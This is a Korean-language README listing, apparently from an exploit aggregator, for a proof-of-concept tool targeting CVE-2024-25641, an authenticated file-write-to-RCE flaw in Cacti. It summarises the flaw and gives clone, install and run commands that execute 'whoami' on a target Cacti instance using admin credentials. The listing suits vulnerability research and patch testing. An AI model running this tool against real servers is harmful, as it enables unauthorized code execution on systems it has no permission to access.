Exploit for CVE-2024-25641-CACTI-RCE-1.2.26

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-STOPTHATTALACE-CVE-2024-25641-CACTI-RCE-1.2.26
# CVE-2024-25641 - Cacti 1.2.26 - 임의 파일 쓰기를 통한 RCE 🌵

  * `인증된 RCE`
  * `Cacti 버전 < v1.2.26`



## 요약

* * *

임의 파일 쓰기 취약점은 "Package Import" 기능을 통해 악용할 수 있으며, "Import Templates" 권한을 가진 인증된 사용자가 웹 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다 (RCE).

## 개념 증명 (PoC)

* * *

![CVE DEMO](https://assets.kitploit.com/production/public/readmes/20871/fb0f1fd3a9718ff6f20bf20c6bc06ab1d11ce368079263a46d065063d32f1cc5.png)

## 사용법

* * *

root@kitploit:~
    
    
    git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26
    
    pip install -r requirements.txt
    
    python3 CVE-2024-25641.py http://localhost/path/to/cacti/ --user admin --pass admin123 -x 'whoami'
    

### poetry 사용 시

root@kitploit:~
    
    
    git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26
    
    poetry install
    
    poetry run python3 CVE-2024-25641.py http://localhost/path/to/cacti/ --user admin --pass admin123 -x 'whoami'
    

## 면책 조항

이 도구는 교육 및 테스트 목적으로만 제공됩니다. 이 도구의 저자는 이 도구를 사용하여 수행된 모든 오용 또는 불법 활동에 대해 책임을 지지 않습니다. 소유한 시스템이나 테스트를 위해 명시적 허가를 받은 시스템에서만 이 도구를 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법이며 비윤리적입니다.